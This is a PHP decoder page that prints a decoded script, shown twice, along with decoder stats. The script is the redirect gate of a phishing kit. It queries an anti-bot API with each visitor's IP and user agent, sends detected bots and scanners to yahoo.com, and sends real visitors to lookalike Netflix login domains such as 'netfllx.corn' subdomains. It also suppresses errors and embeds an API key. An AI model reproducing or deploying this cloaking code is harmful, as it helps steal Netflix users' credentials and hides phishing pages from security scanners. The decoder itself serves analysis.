Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php error_reporting(0); error_log(0); session_start(); ##########################..

Decoded Output download

<?php  
error_reporting(0); 
error_log(0); 
session_start(); 
 
####################################################################################################### 
$config_antibot['apikey']   = '5e575168fc0027d54dc83ebbf1c68866'; //https://antibot.pw/developers 
$config_antibot['bot']      = 'https://yahoo.com'; 
$link = array( 
        //'https://logln-memberarea-authprofile.netfllx.corn.mutbluein.com/?member', 
        //'https://logln-memberarea-authprofile.netfllx.corn.ngaymi.com/?member', 
        'https://logln-memberarea-authprofile.netfllx.corn.nirgayus-mi.com/?member' 
 
); 
$config_antibot['real']     = $link[array_rand($link)]; 
####################################################################################################### 
 
class Antibot 
{ 
    function apikey($api_key){ 
        $this->apikey = $api_key; 
    } 
    function get_client_ip() 
        { 
            // Get real visitor IP behind CloudFlare network 
            if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) { 
                      $_SERVER['REMOTE_ADDR'] = $_SERVER["HTTP_CF_CONNECTING_IP"]; 
                      $_SERVER['HTTP_CLIENT_IP'] = $_SERVER["HTTP_CF_CONNECTING_IP"]; 
            } 
            $client  = @$_SERVER['HTTP_CLIENT_IP']; 
            $forward = @$_SERVER['HTTP_X_FORWARDED_FOR']; 
            $remote  = $_SERVER['REMOTE_ADDR']; 
         
            if(filter_var($client, FILTER_VALIDATE_IP)) 
            { 
                $ip = $client; 
            } 
            elseif(filter_var($forward, FILTER_VALIDATE_IP)) 
            { 
                $ip = $forward; 
            } 
            else 
            { 
                $ip = $remote; 
            } 
         
            return $ip; 
        } 
    function httpGet($url){ 
        $ch = curl_init(); 
        curl_setopt($ch, CURLOPT_URL, $url); 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 
        $response = curl_exec($ch); 
        return $response; 
    } 
    function check(){ 
        $ip         = $this->get_client_ip(); 
        $respons    = $this->httpGet("https://antibot.pw/api/v2-blockers?ip=".$ip."&apikey=".$this->apikey."&ua=".urlencode($_SERVER['HTTP_USER_AGENT'])); 
        $json       = json_decode($respons,true); 
        if($json['is_bot'] == 1 || $json['is_bot'] == true){ 
            return true; 
        }else{ 
            return false; 
        } 
    } 
} 
$Antibot = new Antibot; 
$Antibot->apikey( $config_antibot['apikey'] ); 
if($Antibot->check() == true){ 
    die(header("location: ".$config_antibot['bot'])); 
}else{ 
    die(header("location: ".$config_antibot['real'])); 
} 
?> 

Did this file decode correctly?

Original Code

<?php 
error_reporting(0);
error_log(0);
session_start();

#######################################################################################################
$config_antibot['apikey']   = '5e575168fc0027d54dc83ebbf1c68866'; //https://antibot.pw/developers
$config_antibot['bot']      = 'https://yahoo.com';
$link = array(
        //'https://logln-memberarea-authprofile.netfllx.corn.mutbluein.com/?member',
        //'https://logln-memberarea-authprofile.netfllx.corn.ngaymi.com/?member',
        'https://logln-memberarea-authprofile.netfllx.corn.nirgayus-mi.com/?member'

);
$config_antibot['real']     = $link[array_rand($link)];
#######################################################################################################

class Antibot
{
    function apikey($api_key){
        $this->apikey = $api_key;
    }
    function get_client_ip()
        {
            // Get real visitor IP behind CloudFlare network
            if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) {
                      $_SERVER['REMOTE_ADDR'] = $_SERVER["HTTP_CF_CONNECTING_IP"];
                      $_SERVER['HTTP_CLIENT_IP'] = $_SERVER["HTTP_CF_CONNECTING_IP"];
            }
            $client  = @$_SERVER['HTTP_CLIENT_IP'];
            $forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
            $remote  = $_SERVER['REMOTE_ADDR'];
        
            if(filter_var($client, FILTER_VALIDATE_IP))
            {
                $ip = $client;
            }
            elseif(filter_var($forward, FILTER_VALIDATE_IP))
            {
                $ip = $forward;
            }
            else
            {
                $ip = $remote;
            }
        
            return $ip;
        }
    function httpGet($url){
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        $response = curl_exec($ch);
        return $response;
    }
    function check(){
        $ip         = $this->get_client_ip();
        $respons    = $this->httpGet("https://antibot.pw/api/v2-blockers?ip=".$ip."&apikey=".$this->apikey."&ua=".urlencode($_SERVER['HTTP_USER_AGENT']));
        $json       = json_decode($respons,true);
        if($json['is_bot'] == 1 || $json['is_bot'] == true){
            return true;
        }else{
            return false;
        }
    }
}
$Antibot = new Antibot;
$Antibot->apikey( $config_antibot['apikey'] );
if($Antibot->check() == true){
    die(header("location: ".$config_antibot['bot']));
}else{
    die(header("location: ".$config_antibot['real']));
}
?>

Function Calls

error_log 1
error_reporting 1

Variables

None

Stats

MD5 bce4b3c8f108a8d083716847f3e6620f
Eval Count 0
Decode Time 93 ms